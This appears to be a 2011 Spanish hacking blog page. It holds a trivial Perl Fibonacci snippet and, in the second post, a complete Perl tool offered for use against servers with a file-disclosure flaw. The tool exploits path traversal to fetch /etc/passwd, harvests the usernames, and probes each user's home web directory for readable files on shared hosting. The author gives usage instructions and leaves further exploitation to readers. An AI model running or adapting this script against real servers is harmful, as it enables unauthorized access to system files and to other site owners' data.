jueves, 15 de diciembre de 2011

[ Programacion ] Sucesión de Fibonacci (Simple)

No es tan complicado :P




/* No se porque se complican tanto en la sucesión de Fibonacci xD */
 
print "\n### - Sucesión de Fibonacci! -- ###\n\n";
$a=1;
$b=1;
while ($a<=100)
    {
    print $a . ", " .  $b . ", ";
    $a = $a + $b;
    $b = $a + $b;
    }
print "\n\n### --- --- --- --- --- --- --- ### \n\n"; 





Lo publique porque vi muchos Codes con esta funcion muy extendidos y esto es para que no se compliquen mucho xD

miércoles, 14 de diciembre de 2011

[Bypass] Users to Host perl v1.2


La vez anterior publique algo de bypass en los usuarios de algun servidor y para facilitarnos las cosas me hice una t00l en perl que nos ahorrara mucho tiempo, para hacer una búsqueda y saber donde tenemos permisos.

Creo que es la primera t00l de su tipo,pero no estoy seguro, ya que no e visto alguna para esta función y pues se me ocurrió hacerla.


Aquí una Muestra de el funcionamiento de la herramienta


./script.pl [Web] [Directorio_web] [Archivo_a_buscar]

[Directorio_web] Es La Url de el Disclosure

[Directorio_web] Es El directorio de la web que se va a buscar, este puede ser "www", "htdocs", "public_html", etc...

[Archivo a Buscar]
Es Opcional, asi que no es necesario agregarlo a menos que desees hacer una busqueda mas personalizada



Vemos que nos Devuelve los usuarios junto a los paths de los usuarios vulnerables

Ya después dependerá de vosotros para hacer lo que sigue...



use HTTP::Request;
use LWP::UserAgent;

my $browser = LWP::UserAgent->new();
      
sub banner { 
 print "
 
   _                 _        _       
  |_  \/|_)|_| _  _  o __ (_|   |_|/ \ _ _|_
  |_) / |    |_> _>  | | |__|   | |\_/_>  |_
 
   C o d e d  by  b 4 n z 0 k
 
 * Modo de Uso :
 * perl script.pl [Web] [Carpeta_web] [path_destino(Opcional)]\n
 *\tperl script.pl www.web.com/archivo.php?disclosure= htdocs
 ";
 
 }

 $url = $ARGV[0]; # print  "$vuln\n";
 
  unless ($url) { &banner; }

 $home = $ARGV[1]; # print  "$home\n";
 $dr = "home/"; #Esta Parte La deves de cambiar Manualmente dependiendo la informacion de "/etc/passwd"
 $pt = "../../../../";
 #$pt = "....//....//....//....//....//....//....//....//....//";
 $bp = "";
 @usuarios;
 @vulnerados;
 $archivo = $ARGV[2];
 
 unless ($ARGV[2]) {
  
   $archivo1 = "/index.php";
   $archivo2 = "/index.html";
  }

  
  $url  = "http://" . $url if $url !~ m/^http\:\/\//;
  if ($url =~ m/^http\:\/\/([a-zA-Z0-9-.]+)\/(.*)/) 
  {   $host = $1; $path0 = $2; }

 $path = $url . $path.  $pt . $pt . $pt . "etc/passwd" . $bp;
  print "$path\n";
 my $request = $browser->get($path);
 my $content = $request->content;
      
#print "$content\n";
if ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g) {
while ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g ) 
{ #print $1 . "\n"; 
 push (@usuarios,$1); # Esto tambien puede cambiar el $1
} } else { print "\n[*] Error En la Injeccion.\n\n"; exit; }
&banner;
print "\n\n[*] # Ju4ck34ndo [ Server * $host ] d3sd3 d3ntr0 #\t[*]\n\n";
 
foreach $n (@usuarios) {

 $path2 = $url .  $pt . $pt . $pt . $bp . $pt . $pt . $pt . $dr . $n . "/" . $home;
# print "$path2\n";
unless ($ARGV[2]) {

  $path_g=$path2 . "/index.php";
  &requestt($path_g);
  
  $path_g=$path2 . "/index.html";
  &requestt;
  
  }
 if ($ARGV[2]) {
 $path_g = $path2 . $archivo;
 &requestt($path_g); }
}
sub requestt {
 
  my $request2 = $browser->get($path_g);
  my $content2 = $request2->content;
  
 #  print "$content2\n"; m/failed to open stream/
   if ($content2 =~ m/\$(.*)/) 
    {
     print "[#- pl0p -#]\t\ŧ# - [ $n ] - #\n";
     push (@vulnerados,$path_g);
    }
   #   else { print "# 3Rr0r # [$n]\t$path_g\n"; }
 }
print "\n\n\t[ # - Webs Con Bypass de Permisos - # ]\n\n";
foreach $n (@vulnerados)
{
 print "[*] $n\n\n";
 }